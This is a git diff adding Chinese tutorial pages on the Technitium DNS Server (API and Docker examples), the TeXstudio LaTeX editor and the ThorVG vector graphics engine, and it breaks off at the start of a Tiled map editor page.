DNS_SERVER_DOMAIN=dns.home +``` + +```bash +docker compose up -d +``` + +宿主机 53 端口不能被其他服务占用。配置与 zone 文件持久化在挂载的 `config` 目录。 + +### 案例 3:用 HTTP API 创建权威区并添加 A 记录 + +先登录拿 token(v15+ 后续请求带 Bearer): + +```bash +# 登录(生产环境请改用 HTTPS 与强密码) +TOKEN=$(curl -s "http://127.0.0.1:5380/api/user/login?user=admin&pass=YOUR_PASSWORD" \ + | jq -r '.token') + +# 创建 Primary zone +curl -s -H "Authorization: Bearer $TOKEN" \ + "http://127.0.0.1:5380/api/zones/create?zone=dev.home&type=Primary" + +# 添加 A 记录:nas.dev.home -> 192.168.1.50 +curl -s -H "Authorization: Bearer $TOKEN" \ + "http://127.0.0.1:5380/api/zones/records/add?domain=dev.home&name=nas&type=A&ttl=3600&ipAddress=192.168.1.50" +``` + +局域网设备把 DNS 指到 Technitium 后,即可解析 `nas.dev.home`,无需每台机器改 `/etc/hosts`。 + +### 案例 4:Python 拉取统计并配置 Block List + +适合接入监控或 GitOps: + +```python +import requests + +BASE = "http://192.168.1.10:5380" +TOKEN = "your-api-token" # 在 Web 控制台为用户创建 API Token +headers = {"Authorization": f"Bearer {TOKEN}"} + +# 仪表盘 Top 统计 +stats = requests.get(f"{BASE}/api/dashboard/stats/get", headers=headers, timeout=10) +stats.raise_for_status() +print("total queries:", stats.json().get("totalQueries")) + +# 设置全局 block list URL(会合并进 Block List Zone,每日更新) +payload = { + "blockListUrls": ( + "https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts" + ), +} +r = requests.post( + f"{BASE}/api/settings/set", + headers=headers, + data=payload, + timeout=30, +) +r.raise_for_status() +print(r.json().get("status")) # 期望 "ok" +``` + +API 与 Web 控制台行为一致;自动化账号建议单独建低权限用户再发 API Token。 + +### 案例 5:条件转发内网 Active Directory DNS + +公司有 `corp.internal` 由 `10.0.0.5` 上的 Windows DNS 托管时: + +1. Web 控制台 **Add Zone** → 类型选 **Conditional Forwarder** +2. Zone 名 `corp.internal`,转发器填 `10.0.0.5` 或 `10.0.0.5:53` +3. 其余公网域名仍走 Settings 里的公共 Forwarder 或本机递归 + +这样笔记本连 VPN 后只需一个 DNS 地址,公网与内网解析路径自动分流。 + +## Dashboard 指标怎么读 + +家用或小办公排障时,优先看: + +- **Server Failure** 突然升高:上游不可达、转发器超时(默认约 2s)、或本机无外网 +- **NX Domain** 某客户端异常高:可能恶意软件 DGA 域名探测,查该 IP 对应设备 +- **Blocked** 上升:拦截规则生效;若误杀,往 **Allowed Zone** 加例外 +- **Refused**:常因开启了「仅允许私网递归」却从公网收到递归请求 + +## 与 Pi-hole / AdGuard Home 怎么选 + +| 维度 | Technitium DNS Server | Pi-hole / AdGuard Home | +|------|----------------------|------------------------| +| 定位 | 全功能 DNS 服务器 + API | 偏 DNS 过滤与统计 | +| 权威区 / 区传送 | 原生支持多种 zone 类型 | 较弱或需额外工具 | +| DHCP | 内置 | 通常需外部 DHCP | +| DoH/DoT 作为**服务器** | 支持 | AdGuard 支持;Pi-hole 依赖上游 | +| 学习曲线 | 功能多,选项多 | 拦截场景上手更快 | + +若你主要想要「全家去广告」,三者都能胜任;若还要 **托管内网域名、条件转发、API 全自动**,Technitium 更对口。 + +## 安全与运维建议 + +1. **改默认密码**,Web 控制台尽量走 HTTPS(53443)或反代 + TLS +2. **限制 5380 管理口** 仅管理网段可达;公网暴露 DNS 53 时要防放大攻击滥用(合理 ACL + `Allow Recursion Only For Private Networks`) +3. **备份 `config` 目录**:zone 与设置都在其中;Docker 部署务必挂卷 +4. **集群升级顺序**:先 secondary,后 primary(官方文档强调) +5. v13.4+ 依赖系统 **ICU 库**(`libicu`);精简 Linux 发行版需手动安装 + +## 延伸阅读 + +- [官方 Help Topics](https://technitium.com/dns/help.html) — Dashboard、建区、条件转发、本地端点 +- [Ubuntu/Linux 安装博文](https://blog.technitium.com/2017/11/running-dns-server-on-ubuntu-linux.html) — 安装脚本、与 systemd-resolved 冲突处理 +- [HTTP API 文档 APIDOCS.md](https://github.com/TechnitiumSoftware/DnsServer/blob/master/APIDOCS.md) — 自动化全集 +- [Clustering 说明(2025)](https://blog.technitium.com/2025/11/understanding-clustering-and-how-to-configure-it.html) +- 相关笔记:[[kubernetes]](集群内常配 CoreDNS 作递归上游)、[[nginx]](反代 Web 控制台)、[[docker]](容器部署) + +## 小结 + +Technitium DNS Server 把 **递归解析、权威托管、过滤、加密 DNS、DHCP、API** 集成到单一服务里。零基础路径可以是:树莓派或旧 PC 装脚本 → 路由器 DHCP 指向它 → Web 控制台加 block list → 需要开发域名时加 Primary zone。理解「权威 / 递归 / 转发 / 缓存 / 拦截」五层后,Dashboard 数字和 API 文档都会变得直观。 diff --git a/src/content/docs/projects/texstudio.md b/src/content/docs/projects/texstudio.md new file mode 100644 index 000000000..e51cba5e4 --- /dev/null +++ b/src/content/docs/projects/texstudio.md @@ -0,0 +1,304 @@ +--- +title: TeXstudio — LaTeX 集成写作环境 +来源: https://github.com/texstudio-org/texstudio +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:专业排版厨房 + 带预览窗的食谱编辑器 + +想象你要做一本正式出版的菜谱:不能像在 Word 里随手改字号,而必须按 **排版规则**(章节、标题层级、公式、参考文献)把内容交给 **印刷机**(LaTeX 编译器)印成 PDF。TeXstudio 就像一间 **专为 LaTeX 设计的厨房**——左边是你写 `.tex` 食谱的工作台,右边是 **实时预览窗** 让你看到成品长什么样;中间还有 **自动补全** 帮你记 `\section`、`\cite` 这类「专业术语」,以及 **结构视图** 像目录一样帮你在大文档里跳转。 + +**TeXstudio**([texstudio-org/texstudio](https://github.com/texstudio-org/texstudio))是开源的 **LaTeX 集成写作环境(IDE)**,用 Qt 实现,跨 Windows / Linux / macOS。它 **不包含** TeX 发行版本身——你需要单独安装 **TeX Live**、**MiKTeX** 或 MacTeX;TeXstudio 负责编辑、编译调度、错误定位、PDF 同步预览与写作辅助。当前稳定版约 **4.9.x**,GitHub 星标约 3.4k,GPL-2.0 许可。 + +零基础路径:**安装 TeX 发行版 + TeXstudio → 用 Quick Start 向导建第一篇文档 → F6 编译、F7 预览 → 试公式/参考文献/多文件项目**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:纯文本编辑器不懂 LaTeX 语义 + +在 Vim / VS Code 里写 `\begin{equation}`,括号不匹配、环境没闭合,往往要编译失败后才在 log 里找行号。TeXstudio 提供 **语法高亮、结构视图、交互式语法检查、错误/警告列表面板**,并在编辑器内 **跳转到 log 对应位置**,把「编译后才发现」变成「边写边提示」。 + +### 痛点 2:LaTeX 命令太多,记不住 + +`\usepackage`、数学符号、交叉引用命令成千上万。TeXstudio 的 **自动补全(Autocomplete)** 在你输入 `\` 时弹出命令列表并带 tooltip 说明;对 `\ref`、`\cite` 还能补全 **标签名与文献键**。左侧 **符号面板** 可收藏常用数学符号,点一下插入 `\alpha`、`\sum` 等。 + +### 痛点 3:写源码与看 PDF 来回切换打断心流 + +内置 **PDF 查看器** 支持 **SyncTeX**:源码光标在哪,预览就滚到哪;在 PDF 里 **Ctrl+左键** 可跳回对应源码行。公式与代码段还有 **行内实时预览(Preview)**,不必每次整篇编译才能看一个小公式。 + +### 痛点 4:论文/书籍往往是多文件 + 多次编译 + +长项目常用 `\input{}` 分章、用 `biblatex`/`biber` 管理参考文献、用 `latexmk` 自动跑多遍。TeXstudio 的 **构建系统(Build System)** 可配置默认链:`pdflatex` → `bibtex`/`biber` → 再 `pdflatex`,或一键 **latexmk**;也支持 **独立构建目录** 把辅助文件 `.aux/.log` 与源码分离。 + +--- + +## 核心概念拆解 + +### 1. 编辑器 vs 编译器:分工明确 + +| 组件 | 谁提供 | 做什么 | +|------|--------|--------| +| **TeXstudio** | 本软件 | 编辑 `.tex`、补全、预览 UI、调用外部命令 | +| **TeX 发行版** | TeX Live / MiKTeX 等 | `pdflatex`、`xelatex`、`lualatex`、`bibtex`、`biber`… | +| **输出** | 编译产物 | 主要是 PDF(也可 DVI、SyncTeX 辅助文件) | + +记住:**F6 编译** 不是 TeXstudio 自己排版,而是它在磁盘上调用你配置的 `pdflatex` 等程序。 + +### 2. 界面布局:四块常用区域 + +- **中央编辑区**:多标签打开多个 `.tex`;支持 **多光标**、**列编辑**、代码折叠。 +- **左侧结构视图(Structure View)**:解析 `\part`、`\section`、`\label` 等,点击跳转;比纯行号更抗插入/删除行。 +- **下方消息/日志/预览/搜索结果面板**:编译输出、错误列表、内嵌 PDF 或外部查看器。 +- **工具栏与「LaTeX」菜单**:插入 `\section`、表格向导、 `\includegraphics`、数学环境等——适合还不熟命令的新手。 + +### 3. 文档结构:导言区与正文 + +LaTeX 文件典型骨架: + +```latex +\documentclass[11pt,a4paper]{article} % 文档类 +\usepackage[utf8]{inputenc} % 导言区:宏包与设置 +\usepackage{amsmath} +\title{我的第一篇笔记} +\author{学习者} +\date{\today} + +\begin{document} % 正文开始 +\maketitle +\section{引言} +你好,\LaTeX。 +\end{document} +``` + +**Quick Start 向导**(菜单 `Wizards → Quick Start...`)帮你生成上述骨架,避免漏 `\begin{document}`。 + +### 4. 编译与预览快捷键 + +| 操作 | 默认快捷键 | 说明 | +|------|------------|------| +| **Compile** | `F6` | 运行默认 PDF 链(常为 `pdflatex`) | +| **View** | `F7` | 打开/刷新 PDF,并同步到光标位置 | +| **Build & View** | `F5` | 编译后立即查看 | +| **Quick Build** | `F1` | 可自定义的一键构建 | + +首次编译前务必 **Ctrl+S 保存** `.tex`,否则磁盘上没有文件可供编译。 + +### 5. 自动补全与命令描述(cwl) + +TeXstudio 用 **`.cwl`(completion word list)** 文件描述各宏包提供的命令,供补全与语法检查。安装新宏包后,若补全不全,可在 `Options → Configure TeXstudio → Completion` 中检查;高级用户也可编写自定义 cwl(见官方文档 *Description of the cwl format*)。 + +### 6. 构建系统(Build System) + +在 `Options → Configure TeXstudio → Build` 中配置: + +- **Default Compiler**:`PdfLaTeX`、`XeLaTeX`(中文常配合 `ctex`)、`LuaLaTeX` +- **Default Bibliography Tool**:`BibTeX` 或 `biber` +- **Default Index Tool**:`makeindex` / `xindy` +- **Build & View**:编译后内嵌查看还是外部 SumatraPDF / Skim 等(SyncTeX 对外部查看器也常用) + +**latexmk** 适合「我不知道要跑几遍」的场景,由它自动判断 reruns。 + +### 7. 多文件项目与 `\input` / `\include` + +大论文可拆成: + +```latex +% main.tex +\documentclass{report} +\usepackage{graphicx} +\begin{document} +\include{chapters/intro} +\include{chapters/method} +\bibliography{refs} +\end{document} +``` + +TeXstudio 的 **Master document** 概念:指定主文件后,从任意子文件按 **F6** 都会编译整本书。`Options → Define current document as Master Document` 可设置。 + +### 8. 魔法注释(Magic Comments) + +在文件开头写特殊注释,TeXstudio 会按文件单独配置,例如: + +```latex +% !TeX program = xelatex +% !TeX encoding = UTF-8 +% !TeX spellcheck = en_US +``` + +这对 **中英混排**(一篇英文、一篇中文)特别有用,不必全局改编译引擎或拼写语言。 + +### 9. 模板、宏与会话 + +- **模板**:`File → New from template` 或自建 `File → Make Template` +- **个人宏**:`Macros → Edit Macros`,可插入固定片段或小型脚本 +- **Session(.txss2)**:退出时保存打开的文件与布局,下次恢复写作现场 + +### 10. 进阶:Git、AI 助手、协作 + +- **Git/SVN**:内置版本控制面板(视版本而定) +- **AI Chat**(4.x):`Wizards → AI chat...`,需自行配置 API(Mistral、OpenRouter 等),可基于选中文本生成或改写 LaTeX——注意隐私与费用 +- **协作编辑**:实验性 pair programming 支持(见官方 *Collaborative Editing*) + +--- + +## 从零上手:第一篇可编译文档 + +### 步骤 1:安装依赖 + +1. 安装 **TeX Live**(Linux/macOS 常用)或 **MiKTeX**(Windows 常用,按需装包) +2. 从 [texstudio.org](https://www.texstudio.org/) 或发行版仓库安装 TeXstudio +3. 打开 TeXstudio,`Options → Configure TeXstudio → Commands`,确认 `pdflatex` 等路径被 **自动检测**(Detect automatically) + +### 步骤 2:用向导创建并保存 + +`Wizards → Quick Start...` → 选 `article`、UTF-8 → 保存为 `hello.tex`。 + +### 步骤 3:写入内容与公式 + +在 `\maketitle` 后插入一节与公式(可用菜单 `Math → Insert Equation` 或 `Ctrl+Shift+N`): + +```latex +\section{动机} +TeXstudio 让 \LaTeX{} 写作更接近现代 IDE 体验。 + +\begin{equation} + E = mc^2 + \label{eq:einstein} +\end{equation} +式 \eqref{eq:einstein} 是经典关系。 +``` + +### 步骤 4:编译与 SyncTeX + +按 **F6**,若无错误,按 **F7** 在右侧看 PDF;点击 PDF 中的公式,应跳回 `\label{eq:einstein}` 附近。 + +--- + +## 示例 2:中文文档 + 参考文献(XeLaTeX + biblatex) + +中文论文常选 **XeLaTeX + ctex + biber**。`main.tex`: + +```latex +% !TeX program = xelatex +\documentclass[UTF8,a4paper]{ctexart} +\usepackage{hyperref} +\usepackage[backend=biber,style=gb7714-2015]{biblatex} +\addbibresource{refs.bib} + +\title{TeXstudio 学习笔记} +\author{你的名字} +\date{2026-06-13} + +\begin{document} +\maketitle + +\section{简介} +LaTeX 适合正式排版\cite{lamport1994latex}。 + +\printbibliography +\end{document} +``` + +`refs.bib`: + +```bibtex +@book{lamport1994latex, + title = {LaTeX: A Document Preparation System}, + author = {Lamport, Leslie}, + year = {1994}, + publisher = {Addison-Wesley} +} +``` + +在 TeXstudio 中: + +1. 将 `% !TeX program = xelatex` 放在主文件首行(或在 Build 里把默认编译器改为 XeLaTeX) +2. `Options → Build` 里 **Default Bibliography Tool** 选 **biber** +3. 使用 **Tools → Commands → Bibliography** 或配置构建链:`xelatex → biber → xelatex → xelatex` +4. **F6 / F5** 编译后,参考文献应出现在文末 + +若 `gb7714-2015` 未安装,可改用 `style=numeric` 或安装相应宏包。 + +--- + +## 与其他工具怎么选 + +| 工具 | 定位 | 与 TeXstudio 关系 | +|------|------|-------------------| +| **TeXworks** | 轻量 TeX 编辑器 | 更简,少 IDE 功能;TeXstudio 受其启发 | +| **Overleaf** | 在线协作 LaTeX | 零本地安装;TeXstudio 适合离线、大项目、自定义宏 | +| **VS Code + LaTeX Workshop** | 通用编辑器 + 插件 | 极客向;TeXstudio 开箱即用的 LaTeX 向导更多 | +| **LyX** | 可视化 LaTeX | 所见即所得;TeXstudio 坚持 **源码优先** | + +若你已经是程序员、仓库里全是 `.tex` 和 Makefile,VS Code 可能更顺;若你希望 **向导、符号面板、内置 PDF 同步** 一条龙,TeXstudio 更省心。 + +--- + +## 常见问题与排查 + +### 编译报错「File not found」 + +- 是否保存了文件?路径是否含中文或空格(老环境偶发问题)? +- `\includegraphics{figures/a}` 是否少了扩展名而编译选项不允许自动推断? + +### 中文乱码或无法编译 + +- 用 **XeLaTeX 或 LuaLaTeX + ctex/xeCJK**,不要对中文正文仅用 `pdflatex` + `inputenc` +- 文件编码设为 **UTF-8**(`Editor` 与 `% !TeX encoding` 一致) + +### 参考文献空白 + +- 是否跑了 **biber/bibtex** 第二遍? +- `\addbibresource` 路径是否正确?Bib 键是否与 `\cite{key}` 一致? + +### SyncTeX 不跳转 + +- 编译选项需带 `-synctex=1`(TeXstudio 默认链通常已包含) +- 外部 PDF 查看器需在 `Configure → Commands → PDF Viewer` 中正确配置 + +--- + +## 配置建议(入门默认即可) + +1. **Editor → Editor Font Encoding**:UTF-8 +2. **Build → Default Compiler**:中文项目选 XeLaTeX,英文 article 可用 PdfLaTeX +3. **Build → PDF Viewer**:Internal PDF Viewer(简单)或 External(功能更强) +4. **Editor → Show Line Numbers**:长文建议开启 +5. **Shortcuts**:记住 `F5/F6/F7` 比改菜单更快 + +暗色主题:官方正在完善 Dark mode;社区有导入 `formatsDark` 的配色方案(见 GitHub Wiki *Tips And Tricks*)。 + +--- + +## 学习路线建议 + +| 阶段 | 目标 | 在 TeXstudio 里练什么 | +|------|------|------------------------| +| 第 1 周 | 单文件 article | Quick Start、`\section`、公式、F6/F7 | +| 第 2 周 | 图表与引用 | `\includegraphics` 向导、`\ref`、`\cite` 补全 | +| 第 3 周 | 多文件 + 文献 | Master document、biber 构建链 | +| 第 4 周 | 模板与效率 | 自定义宏、魔法注释、latexmk | + +LaTeX **排版语言本身** 仍需系统学习(推荐《lshort》简明教程);TeXstudio 降低的是 **工具链摩擦**,不是替代 LaTeX 语法。 + +--- + +## 小结 + +TeXstudio 把 LaTeX 写作包装成 **可编译、可预览、可导航** 的 IDE 体验:**结构与补全** 帮你写对命令,**构建系统** 帮你跑对编译链,**SyncTeX** 帮你对齐源码与 PDF。记住它是 **编辑器**,真正的排版引擎在你安装的 TeX Live / MiKTeX 里;两者装好,按 **向导 → 保存 → F6 → F7** 走通第一篇 PDF,就算零基础入门成功。 + +--- + +## 参考链接 + +- 项目仓库:[https://github.com/texstudio-org/texstudio](https://github.com/texstudio-org/texstudio) +- 官网与下载:[https://www.texstudio.org/](https://www.texstudio.org/) +- 官方手册:[https://texstudio-org.github.io/](https://texstudio-org.github.io/) +- Getting started:[https://texstudio-org.github.io/getting_started.html](https://texstudio-org.github.io/getting_started.html) +- Wiki Tips:[https://github.com/texstudio-org/texstudio/wiki/Tips-And-Tricks](https://github.com/texstudio-org/texstudio/wiki/Tips-And-Tricks) +- LaTeX 项目:[https://www.latex-project.org/](https://www.latex-project.org/) diff --git a/src/content/docs/projects/thorvg.md b/src/content/docs/projects/thorvg.md new file mode 100644 index 000000000..812de79c5 --- /dev/null +++ b/src/content/docs/projects/thorvg.md @@ -0,0 +1,258 @@ +--- +title: ThorVG — 轻量矢量图形引擎 +来源: https://github.com/thorvg/thorvg +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 日常类比:ThorVG 是「矢量皮影的放映机」 + +设计师在 After Effects 或 Figma 里画的是**可无限放大的线稿**(路径、渐变、描边),不是一张固定像素的 JPG。要把这些矢量场景画到屏幕、手表或车载 HUD 上,需要一台**放映机**:读入 SVG / Lottie JSON,在内存缓冲区里光栅化成像素。 + +**ThorVG**(Thor Vector Graphics,[thorvg/thorvg](https://github.com/thorvg/thorvg))就是这样一台**超轻量放映机**:核心库约 150KB 量级,C++ 实现,主打 CPU/SIMD 矢量光栅化,也支持 OpenGL ES、WebGL、WebGPU 等后端。它已被 Tizen、Godot、LVGL、LottieFiles、Espressif、Canva iOS 等产线采用——同一套 API 从 ESP32 微控制器到桌面工具都能跑。 + +和 [lottie-web](lottie.md)(浏览器里解析 Lottie JSON 的 JS 播放器)不同,ThorVG 是**底层图形引擎**:你不一定直接面对终端用户,而是把它嵌进 UI 框架、游戏引擎或固件里,负责「把矢量场景画进 buffer」。 + +## 是什么 + +ThorVG 是生产级 **C++ 矢量图形引擎**,支持: + +- **图元**:矩形、圆、路径、渐变填充、描边(虚线/圆角端)、文本(TTF/OTF)、图片 +- **场景图**:`Scene` 组合多个 `Paint` 节点,统一做平移/旋转/缩放 +- **格式加载**:SVG Tiny、Lottie JSON、PNG/JPG/WebP 等(通过 Meson 选项裁剪 loader) +- **特效**:模糊、阴影、混合、遮罩等合成(可能走离屏 buffer) +- **动画**:`Animation` 控制 Lottie 帧进度;SVG 动画暂不支持 + +典型数据流:应用持有像素 buffer → 创建 `SwCanvas` 并 `target()` 绑定 buffer → 往 canvas `add()` 各种 Shape/Picture → `update()` 预处理 → `draw()` + `sync()` 异步光栅化 → 把 buffer 交给显示栈(SDL、LVGL、自研 UI 等)。 + +```mermaid +flowchart LR + APP[你的应用 / UI 框架] + TVG[ThorVG 引擎] + BUF[像素 Buffer] + DISP[屏幕 / 纹理上传] + APP -->|Paint 场景图| TVG + TVG -->|draw + sync| BUF + BUF --> DISP + LOTTIE[Lottie / SVG 文件] --> TVG +``` + +## 为什么重要 + +不懂 ThorVG,这几件事很难选型或排障: + +- **嵌入式 UI 要 Lottie 启动页**,但不想塞整个 Chromium + lottie-web——ThorVG 可 `-Dloaders="lottie"` 裁成专用播放库 +- **同一套矢量资源**要跑在 Web(WebGPU)、手机(Metal/Vulkan 抽象)和 RTOS——ThorVG 用 Meson 模块化二进制,按平台选后端 +- **CPU 光栅化场景**(无 GPU、或 GPU 要给 3D 让路)——官方基准称在常见矢量 workload 上相对 Skia 约有 ~1.8× 优势(几何密集时更明显) +- **与 Lottie 生态的关系**:Lottie 是 JSON **协议**;ThorVG 是实现之一,表达式默认走内嵌 JerryScript,可 `-Dextra=""` 关掉以减小固件体积 + +## 核心概念 + +### 1. 初始化与线程池 + +`Initializer::init(n)` 启动引擎与可选的 **Task Scheduler**(`n` 为工作线程数,可用 `std::thread::hardware_concurrency()`)。内部异步处理编解码、update、draw;因此 **`draw()` 之后必须 `sync()`** 才能安全读 buffer。用完调用 `Initializer::term()` 释放全局字体等资源。 + +### 2. Canvas 与 Paint 模型 + +- **Canvas**:渲染目标,软件路径下常用 `SwCanvas::gen()` + `target(buffer, stride, w, h, ColorSpace)` +- **Paint**:基类概念;具体类型有 `Shape`(矢量路径)、`Scene`(子节点容器)、`Picture`(SVG/位图/Lottie 载体)、`Text` +- 一帧流程:`add()` →(动画时 `update(picture)`)→ `draw()` → `sync()` → `remove()` 清空节点 + +### 3. Shape:路径与样式 + +`Shape::appendRect` / `appendCircle` 是便捷 API;复杂图形用 `moveTo` / `lineTo` / `cubicTo` / `close()` 拼路径。填充可以是纯色或 `LinearGradient` / `RadialGradient`;描边独立设置 `strokeWidth`、`strokeCap`、`strokeJoin`、`strokeDash`。 + +### 4. Picture 与 Loader + +`Picture::load("file.svg")` 走 SVG 解释器(偏 SVG Tiny,无 SMIL 动画)。Lottie 则通过 `Animation::gen()` 拿到关联的 `picture()` 再 `load("anim.json")`。Loader 在编译期用 Meson `-Dloaders=...` 开关,避免未用格式增大二进制。 + +### 5. 渲染后端与智能局部重绘 + +除 CPU/SIMD 软件渲染器外,可选 OpenGL ES、WebGL、**WebGPU**(Web 端较完整)。**Partial rendering** 只重绘变化区域——适合 UI 静态背景 + 小控件动画;全屏每帧全变的游戏场景则收益有限。 + +### 6. 绑定与生态 + +主 API 为 C++;可选 **C API**(`-Dbindings="capi"`)。另有 `@thorvg/webcanvas`、`thorvg-python`、Rust crate 等。工具链含 Viewer、VS Code LiveView、Lottie→GIF、SVG→PNG。 + +## 构建安装 + +依赖 [Meson](https://mesonbuild.com/) + Ninja: + +```bash +git clone https://github.com/thorvg/thorvg.git +cd thorvg +meson setup builddir +ninja -C builddir install +``` + +只要 Lottie 播放器的精简构建: + +```bash +meson setup builddir -Dloaders="lottie" +# 固件上可关闭 Lottie 表达式以减小体积: +meson setup builddir -Dloaders="lottie" -Dextra="" +``` + +macOS / Linux 也可通过 Homebrew、vcpkg、系统包管理器安装。Web 侧可关注 npm 包 `@thorvg/lottie-player`、`@thorvg/webcanvas`。 + +## 实践案例 + +### 案例 1:软件 Canvas 上画圆角矩形与渐变圆 + +以下片段来自[官方 Native Tutorial](https://www.thorvg.org/native-tutorial),展示最小绘制闭环: + +```cpp +#include + +static const int WIDTH = 800, HEIGHT = 600; +static uint32_t buffer[WIDTH * HEIGHT]; + +int main() { + tvg::Initializer::init(4); + + auto canvas = tvg::SwCanvas::gen(); + canvas->target(buffer, WIDTH, WIDTH, HEIGHT, tvg::ColorSpace::ARGB8888); + + auto rect = tvg::Shape::gen(); + rect->appendRect(50, 50, 200, 200, 20, 20); + rect->fill(100, 100, 100); + canvas->add(rect); + + auto circle = tvg::Shape::gen(); + circle->appendCircle(400, 400, 100, 100); + + auto fill = tvg::RadialGradient::gen(); + fill->radial(400, 400, 150, 400, 400, 0); + tvg::Fill::ColorStop stops[2] = { + {0.0f, 255, 255, 255, 255}, + {1.0f, 0, 0, 0, 255}, + }; + fill->colorStops(stops, 2); + circle->fill(fill); + canvas->add(circle); + + canvas->draw(); + canvas->sync(); + // 此处 buffer 中已是 ARGB 像素,可 blit 到窗口或写 PNG + + tvg::Initializer::term(); + return 0; +} +``` + +**要点**:`appendRect` 最后两个参数是圆角半径;渐变用 `ColorStop` 数组描述色标;`draw` 不阻塞,`sync` 等待 GPU/线程池完成。 + +自定义星形路径 + 虚线描边: + +```cpp +auto path = tvg::Shape::gen(); +path->moveTo(199, 34); +path->lineTo(253, 143); +path->lineTo(374, 160); +path->lineTo(287, 244); +path->lineTo(307, 365); +path->lineTo(199, 309); +path->lineTo(97, 365); +path->lineTo(112, 245); +path->lineTo(26, 161); +path->lineTo(146, 143); +path->close(); +path->fill(150, 150, 255); +path->strokeWidth(3); +path->strokeFill(0, 0, 255); +path->strokeJoin(tvg::StrokeJoin::Round); +path->strokeCap(tvg::StrokeCap::Round); +float dash[2] = {10, 10}; +path->strokeDash(dash, 2); +canvas->add(path); +``` + +### 案例 2:Lottie 动画循环 + +```cpp +#include +#include + +static uint32_t buffer[800 * 600]; + +void renderFrame(tvg::Canvas* canvas, tvg::Animation* anim, float progress) { + anim->frame(static_cast(anim->totalFrame() * progress)); + canvas->update(anim->picture()); + canvas->draw(); + canvas->sync(); +} + +int main() { + tvg::Initializer::init(4); + + auto canvas = tvg::SwCanvas::gen(); + canvas->target(buffer, 800, 800, 600, tvg::ColorSpace::ARGB8888); + + auto animation = tvg::Animation::gen(); + auto picture = animation->picture(); + picture->load("lottie.json"); + canvas->add(picture); + + const float duration = animation->duration(); // 秒 + for (int frame = 0; frame < 300; ++frame) { + float t = fmodf(frame / 60.0f, duration) / duration; // 假设 60fps + renderFrame(canvas, animation, t); + // 将 buffer 呈现到屏幕... + canvas->remove(picture); + canvas->add(picture); + } + + tvg::Initializer::term(); + return 0; +} +``` + +**要点**:一个 `Animation` 实例对应一个 `Picture`;`progress` 取 0~1 映射到 `totalFrame()`;每帧改帧号后必须 `canvas->update(picture)` 再 draw。交互式应用里用 `animation->duration()` 驱动自己的主循环即可,不必依赖 AE 时间轴。 + +加载静态 SVG 只需 Picture 一行: + +```cpp +auto picture = tvg::Picture::gen(); +picture->load("icon.svg"); +canvas->add(picture); +``` + +### 案例 3:Scene 组合与变换 + +多个图标作为一组移动/缩放时,用 `Scene` 包一层: + +```cpp +auto scene = tvg::Scene::gen(); +auto icon = tvg::Picture::gen(); +icon->load("badge.svg"); +scene->add(icon); +scene->translate(120, 40); +scene->scale(1.5f); +canvas->add(scene); +``` + +子节点可以是 Shape、Picture 或嵌套 Scene,形成树状场景图——与游戏引擎的节点层级类似。 + +## 与相关项目的关系 + +| 项目 | 关系 | +|------|------| +| [lottie-web](lottie.md) | 同吃 Lottie JSON;ThorVG 偏原生/嵌入式引擎,lottie-web 偏浏览器 | +| [Rive](rive.md) | 都服务交互 UI 动画;Rive 用 `.riv` + 状态机,ThorVG 主攻 SVG/Lottie 开放格式 | +| [LVGL](https://lvgl.io/) | 可选 ThorVG 作为矢量/Lottie 后端 | +| Skia | 桌面级 2D 引擎,体积与依赖更大;ThorVG 强调轻量与 MCU 友好 | + +## 选型与踩坑 + +1. **合成开销**:模糊、遮罩、复杂 blend 会触发离屏 buffer;轻量设备上尽量简化特效层级 +2. **Lottie 表达式**:默认开启 JerryScript,复杂 AE 表达式增加 CPU 与体积;嵌入式可关闭 +3. **SVG 能力边界**:按 SVG Tiny,无动画与交互;复杂 SVG 需先简化或用 Lottie 导出 +4. **异步渲染**:忘记 `sync()` 会出现撕裂或读到半帧 buffer +5. **Web 集成**:除 C++ 嵌入外,可直接评估 `@thorvg/lottie-player` 等现成 Web 组件,减少自己绑 WASM 的成本 + +## 小结 + +ThorVG 把「矢量场景描述」和「像素 buffer 输出」封装成一套稳定的 C++ API:**Paint 场景图 + Canvas 光栅化 + 可裁剪的 Loader**。零基础路径:Meson 编库 → `Initializer::init` → `SwCanvas::target` → 画 Shape 或 load Lottie → `draw/sync`。掌握 init、canvas、picture、animation、sync 五条主线,就能在嵌入式 splash、HMI、移动端 Lottie 与 WebGPU 矢量管线之间复用同一引擎认知。 diff --git a/src/content/docs/projects/tiled.md b/src/content/docs/projects/tiled.md new file mode 100644 index 000000000..ad1130391 --- /dev/null +++ b/src/content/docs/projects/tiled.md @@ -0,0 +1,276 @@ +--- +title: Tiled Map Editor — 通用 2D 关卡编辑 +来源: 'https://github.com/mapeditor/tiled' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 日常类比:Tiled 是「游戏关卡的 Photoshop + 建筑蓝图」 + +你玩平台跳跃或 RPG 时,草地、砖块、水面、宝箱、出生点,看起来是程序员一行行写出来的——实际上多半是**美术或关卡设计师在格子上「刷」出来的**。Tiled 就是那间专门刷关卡的工坊。 + +日常类比可以这样理解: + +- **瓦片(Tile)** → 乐高底板上的单块砖,32×32 或 16×16 一格,重复拼出大地图 +- **图块集(Tileset)** → 一整张「砖块色卡」PNG,切成很多小格,供你选用 +- **图层(Layer)** → 透明胶片叠在一起:底层铺地形,中层放装饰,上层放碰撞或前景 +- **对象层(Object Layer)** → 贴在蓝图上的便利贴:「玩家从这里出生」「这道门通向 B 关」「这块区域触发对话」——不必对齐格子,可旋转、缩放 +- **TMX 文件** → 导出的「关卡说明书」,游戏引擎读它就知道画什么、放什么 + +Tiled 由 Thorbjørn Lindeijer 从 2008 年起维护,[mapeditor/tiled](https://github.com/mapeditor/tiled) 在 GitHub 上开源(GPL/商业双许可),被 Phaser、Godot、Unity、LÖVE、Flame、libGDX 等大量引擎直接支持。它的价值不在「再发明一个地图格式」,而在于:**把关卡制作从程序员手里还给设计师**,并且用开放、可扩展的 TMX/TSX 格式把数据和引擎解耦。 + +| 维度 | 说明 | +|---|---| +| 官网 / 文档 | [mapeditor.org](https://www.mapeditor.org/) · [doc.mapeditor.org](https://doc.mapeditor.org/) | +| 协议 | GPL v2(编辑器);地图数据 TMX 无版权限制 | +| 平台 | Windows、macOS、Linux | +| 输出 | 